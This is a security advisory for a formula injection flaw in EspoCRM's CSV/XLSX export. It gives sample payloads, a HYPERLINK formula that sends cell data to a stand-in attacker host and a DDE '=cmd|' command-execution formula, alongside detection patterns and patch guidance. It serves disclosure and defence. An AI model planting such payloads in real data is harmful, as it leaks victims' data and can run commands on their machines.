CVE-2026-55154: EspoCRM Formula Injection Vulnerability

CVE-2026-55154 Overview

EspoCRM, an open source customer relationship management (CRM) application, contains a formula injection vulnerability in versions prior to 9.3.9. The flaw resides in the export pipeline, where sanitizeCellValue() inspects only the first byte of a cell value. An authenticated low-privileged user can store free-text containing a formula trigger preceded by whitespace or a control character, bypassing the single-quote neutralization prefix. When a privileged user exports data to CSV or XLSX and opens the file, spreadsheet software may evaluate the content as a formula [CWE-1236].

Critical Impact
Attackers can trigger outbound data disclosure through formula evaluation and, on legacy configurations with Dynamic Data Exchange (DDE) enabled, achieve command execution on the victim's workstation.

Affected Products

EspoCRM versions prior to 9.3.9
application/Espo/Tools/Export/Format/Csv/Processor.php
application/Espo/Tools/Export/Format/Xlsx/OpenSpoutProcessor.php and PhpSpreadsheetProcessor.php

Discovery Timeline

2026-10-15 - CVE-2026-55154 published to the National Vulnerability Database (NVD)
2026-10-16 - Last updated in NVD database

Technical Details for CVE-2026-55154

Vulnerability Analysis

The vulnerability is a CSV/XLSX formula injection flaw rooted in incomplete input sanitization. EspoCRM's export processors neutralize formula triggers such as =, +, -, and @ by prefixing cells with a single quote. However, the sanitizeCellValue() function only inspects the first byte of each cell. An authenticated low-privileged user can prepend a whitespace character or control byte before the formula trigger. The sanitizer sees the benign leading byte and skips neutralization. Spreadsheet applications, when opening the resulting export, trim leading whitespace and evaluate the cell as a formula.

Root Cause

The root cause is improper neutralization of formula elements in exported data [CWE-1236]. Checking only $value[0] ignores the way downstream spreadsheet software parses cell content. This mismatch between sanitizer logic and consumer parsing enables bypass through trivial prefix characters.

Attack Vector

Exploitation requires an authenticated low-privileged account and user interaction from a privileged victim. The attacker stores a crafted value in a text field (for example, " =HYPERLINK(\"http://attacker/?x=\"&A1,\"click\")"). A privileged user later exports records to CSV or XLSX and opens the file. If the victim accepts the spreadsheet security prompt, the formula executes. On systems with DDE enabled, attackers can invoke arbitrary commands via =cmd|'/c calc'!A0 style payloads.

php

// Security patch excerpt - application/Espo/Tools/Export/Format/Csv/Processor.php
 use Espo\Tools\Export\Processor as ProcessorInterface;
 use Espo\Tools\Export\Processor\Params;

+use Espo\Tools\Export\Processor\Util;
 use Psr\Http\Message\StreamInterface;
 use GuzzleHttp\Psr7\Stream;

Source: GitHub Commit f209248

Detection Methods for CVE-2026-55154

Indicators of Compromise

Stored field values in EspoCRM records beginning with whitespace or control characters immediately followed by =, +, -, @, or tab characters.
Exported CSV or XLSX files containing cells where leading whitespace precedes a formula trigger such as HYPERLINK(, WEBSERVICE(, or cmd|.
Outbound DNS or HTTP requests from workstations shortly after a privileged user opens an EspoCRM export file.

Detection Strategies

Review database records for text fields containing patterns matching ^[\s\\x00-\\x1F]+[=+\-@] across customer, lead, and note entities.
Correlate EspoCRM export audit events with endpoint telemetry showing child-process creation from excel.exe, soffice.bin, or wps.exe.
Inspect proxy logs for anomalous outbound requests originating from workstations immediately after spreadsheet file open events.

Monitoring Recommendations

Enable export action logging in EspoCRM and forward events to a centralized SIEM for correlation with endpoint activity.
Alert on spreadsheet processes spawning command interpreters such as cmd.exe, powershell.exe, or /bin/sh.
Monitor file write events for .csv and .xlsx artifacts in EspoCRM export directories and track their downstream handling.

How to Mitigate CVE-2026-55154

Immediate Actions Required

Upgrade EspoCRM to version 9.3.9 or later, which contains the sanitization fix.
Audit existing text fields for stored payloads matching whitespace-prefixed formula triggers and remediate before performing bulk exports.
Restrict export permissions to accounts that genuinely require the capability.

Patch Information

The vulnerability is fixed in EspoCRM version 9.3.9. The patch introduces a shared Util helper and updates sanitizeCellValue() to inspect leading whitespace and control characters before evaluating formula triggers. See the GitHub Security Advisory GHSA-xrwp-2gph-985x and the GitHub Release Version 9.3.9 for the complete fix and release notes.

Workarounds

Disable Dynamic Data Exchange (DDE) in Microsoft Excel and equivalent features in LibreOffice to eliminate the command execution path.
Instruct privileged users to decline macro and external-content prompts when opening exported files.
Preprocess exported CSV/XLSX files through a sanitizer that strips leading whitespace and re-neutralizes formula triggers before distribution.

bash

# Verify EspoCRM version and upgrade via composer
php -r "echo file_get_contents('application/Espo/Core/Application.php');" | grep VERSION
composer require espocrm/espocrm:^9.3.9
php rebuild.php